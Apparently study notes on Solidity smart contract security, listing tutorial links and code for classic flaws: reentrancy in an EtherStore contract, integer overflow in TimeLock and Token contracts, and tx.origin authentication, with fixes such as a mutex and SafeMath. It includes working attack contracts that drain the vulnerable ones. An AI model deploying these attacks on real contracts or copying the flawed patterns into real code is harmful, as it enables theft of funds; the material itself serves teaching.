

security of smart contracts solidity

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- An Overview of Blockchain-Based Smart Contract Security
 - [youtube](#)
- HackPedia: 16 Solidity Hacks/Vulnerabilities, their Fixes and Real World Examples
 - [hackpedia](#)
- How to Secure Your Smart Contracts: 6 Solidity Vulnerabilities and how to avoid them
 - [part 1](#) & [part 2](#)
- best practices
 - [known attacks](#)

```
contract EtherStore {
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
}
```

```
contract Attack {
  EtherStore public etherStore;

  constructor(address _etherStoreAddress) {
    etherStore = EtherStore(_etherStoreAddress);
  }

  function pwnEtherStore() public payable {
    require(msg.value >= 1 ether);
    etherStore.depositFunds.value(1 ether)();
    etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
    msg.sender.transfer(this.balance);
  }
}
```

```
function () payable {
  if (etherStore.balance > 1 ether) {
    etherStore.withdrawFunds(1 ether);
  }
}
}
```

```
bool reEntrancyMutex = false;

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(!reEntrancyMutex);
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
    // set the reEntrancy mutex before the external call
    reEntrancyMutex = true;
    msg.sender.transfer(_weiToWithdraw);
    // release the mutex after the external call
    reEntrancyMutex = false;
}
```

2. Arithmetic Over/Under Flows

```
contract TimeLock {  
  
    mapping(address => uint) public balances;  
    mapping(address => uint) public lockTime;  
  
    function deposit() public payable {  
        balances[msg.sender] += msg.value;  
        lockTime[msg.sender] = now + 1 weeks;  
    }  
  
    function increaseLockTime(uint _secondsToIncrease) public {  
        lockTime[msg.sender] += _secondsToIncrease;  
    }  
  
    function withdraw() public {  
        require(balances[msg.sender] > 0);  
        require(now > lockTime[msg.sender]);  
        msg.sender.transfer(balances[msg.sender]);  
        balances[msg.sender] = 0;  
    }  
}
```

2. Arithmetic Over/Under Flows

```
contract Token {  
    mapping(address => uint) balances;  
    uint public totalSupply;  
  
    function Token(uint _initialSupply) {  
        balances[msg.sender] = totalSupply = _initialSupply;  
    }  
  
    function transfer(address _to, uint _value) public returns (bool) {  
        require(balances[msg.sender] - _value >= 0);  
        balances[msg.sender] -= _value;  
        balances[_to] += _value;  
        return true;  
    }  
  
    function balanceOf(address _owner) public constant returns (uint balance) {  
        return balances[_owner];  
    }  
}
```

2. Arithmetic Over/Under Flows

```
library SafeMath {
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract TimeLock {
  using SafeMath for uint; // use the library for uint type
  mapping(address => uint256) public balances;
  mapping(address => uint256) public lockTime;

  function deposit() public payable {
    balances[msg.sender] = balances[msg.sender].add(msg.value);
    lockTime[msg.sender] = now.add(1 weeks);
  }

  function increaseLockTime(uint256 _secondsToIncrease) public {
    lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
  }
}
```


16. Tx.Origin Authentication

```
contract Phishable {  
    address public owner;
```

```
    constructor (address _owner) {  
        owner = _owner;  
    }
```

```
    function () public payable {} // collect ether  
    function withdrawAll(address _recipient) public {  
        require(tx.origin == owner);  
        _recipient.transfer(this.balance);  
    }  
}
```

```
contract AttackContract {  
    Phishable phishableContract;  
    address attacker;  
  
    constructor (Phishable _contract, address _attacker) {  
        phishableContract = _contract;  
        attacker = _attacker;  
    }  
  
    function () {  
        phishableContract.withdrawAll(attacker);  
    }  
}
```